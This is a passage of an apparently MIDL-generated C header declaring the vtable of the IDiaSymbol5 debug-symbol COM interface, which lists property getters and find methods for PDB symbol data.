[retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_typeId )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_arrayIndexTypeId )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualTableShapeId )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_code )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_function )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_managed )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_msil )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseDispIndex )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_undecoratedName )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_age )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_signature )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compilerGenerated )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressTaken )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_rank )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lowerBound )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_upperBound )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lowerBoundId )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_upperBoundId )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_dataBytes )( \n            IDiaSymbol5 * This,\n            /* [in] */ DWORD cbData,\n            /* [out] */ DWORD *pcbData,\n            /* [size_is][out] */ BYTE *pbData);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildren )( \n            IDiaSymbol5 * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildrenEx )( \n            IDiaSymbol5 * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildrenExByAddr )( \n            IDiaSymbol5 * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [in] */ DWORD isect,\n            /* [in] */ DWORD offset,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildrenExByVA )( \n            IDiaSymbol5 * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [in] */ ULONGLONG va,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildrenExByRVA )( \n            IDiaSymbol5 * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [in] */ DWORD rva,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetSection )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetOffset )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetRelativeVirtualAddress )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetVirtualAddress )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_machineType )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_oemId )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_oemSymbolId )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_types )( \n            IDiaSymbol5 * This,\n            /* [in] */ DWORD cTypes,\n            /* [out] */ DWORD *pcTypes,\n            /* [size_is][size_is][out] */ IDiaSymbol **pTypes);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_typeIds )( \n            IDiaSymbol5 * This,\n            /* [in] */ DWORD cTypeIds,\n            /* [out] */ DWORD *pcTypeIds,\n            /* [size_is][out] */ DWORD *pdwTypeIds);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_objectPointerType )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_udtKind )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_undecoratedNameEx )( \n            IDiaSymbol5 * This,\n            /* [in] */ DWORD undecorateOptions,\n            /* [out] */ BSTR *name);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noReturn )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_customCallingConvention )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noInline )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_optimizedCodeDebugInfo )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_notReached )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_interruptReturn )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_farReturn )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStatic )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasDebugInfo )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isLTCG )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isDataAligned )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSecurityChecks )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compilerName )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAlloca )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSetJump )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasLongJump )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasInlAsm )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasEH )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSEH )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasEHa )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isNaked )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAggregated )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSplitted )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_container )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlSpec )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noStackOrdering )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseTableType )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasManagedCode )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isHotpatchable )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCVTCIL )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMSILNetmodule )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCTypes )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStripped )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndQFE )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndQFE )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_wasInlined )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_strictGSCheck )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCxxReturnUdt )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isConstructorVirtualBase )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_RValueReference )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unmodifiedType )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_framePointerPresent )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSafeBuffers )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_intrinsic )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sealed )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hfaFloat )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hfaDouble )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartAddressSection )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartAddressOffset )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartRelativeVirtualAddress )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_countLiveRanges )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeLength )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_offsetInUdt )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_paramBasePointerRegisterId )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_localBasePointerRegisterId )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isLocationControlFlowDependent )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_stride )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfRows )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfColumns )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMatrixRowMajor )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_numericProperties )( \n            IDiaSymbol5 * This,\n            /* [in] */ DWORD cnt,\n            /* [out] */ DWORD *pcnt,\n            /* [size_is][out] */ DWORD *pProperties);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_modifierValues )( \n            IDiaSymbol5 * This,\n            /* [in] */ DWORD cnt,\n            /* [out] */ DWORD *pcnt,\n            /* [size_is][out] */ WORD *pModifiers);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isReturnValue )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isOptimizedAway )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_builtInKind )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_registerType )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseDataSlot )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseDataOffset )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_textureSlot )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_samplerSlot )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_uavSlot )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sizeInUdt )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_memorySpaceKind )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unmodifiedTypeId )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_subTypeId )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_subType )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfModifiers )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfRegisterIndices )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isHLSLData )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerToDataMember )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerToMemberFunction )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSingleInheritance )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMultipleInheritance )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isVirtualInheritance )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_restrictedType )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerBasedOnSymbolValue )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseSymbol )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseSymbolId )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_objectFileName )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorGroupSharedLocal )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorPointerTagLiveRange )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorStubFunction )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfAcceleratorPointerTags )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSdl )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isWinRTPointer )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isRefUdt )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isValueUdt )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isInterfaceUdt )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineFramesByAddr )( \n            IDiaSymbol5 * This,\n            /* [in] */ DWORD isect,\n            /* [in] */ DWORD offset,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineFramesByRVA )( \n            IDiaSymbol5 * This,\n            /* [in] */ DWORD rva,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineFramesByVA )( \n            IDiaSymbol5 * This,\n            /* [in] */ ULONGLONG va,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineeLines )( \n            IDiaSymbol5 * This,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByAddr )( \n            IDiaSymbol5 * This,\n            /* [in] */ DWORD isect,\n            /* [in] */ DWORD offset,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByRVA )( \n            IDiaSymbol5 * This,\n            /* [in] */ DWORD rva,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByVA )( \n            IDiaSymbol5 * This,\n            /* [in] */ ULONGLONG va,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findSymbolsForAcceleratorPointerTag )( \n            IDiaSymbol5 * This,\n            /* [in] */ DWORD tagValue,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findSymbolsByRVAForAcceleratorPointerTag )( \n            IDiaSymbol5 * This,\n            /* [in] */ DWORD tagValue,\n            /* [in] */ DWORD rva,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_acceleratorPointerTags )( \n            IDiaSymbol5 * This,\n            /* [in] */ DWORD cnt,\n            /* [out] */ DWORD *pcnt,\n            /* [size_is][out] */ DWORD *pPointerTags);\n        \n        HRESULT ( STDMETHODCALLTYPE *getSrcLineOnTypeDefn )( \n            IDiaSymbol5 * This,\n            /* [out] */ IDiaLineNumber **ppResult);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPGO )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasValidPGOCounts )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isOptimizedForSpeed )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGOEntryCount )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGOEdgeCount )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGODynamicInstructionCount )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_staticSize )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_finalLiveStaticSize )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_phaseName )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n 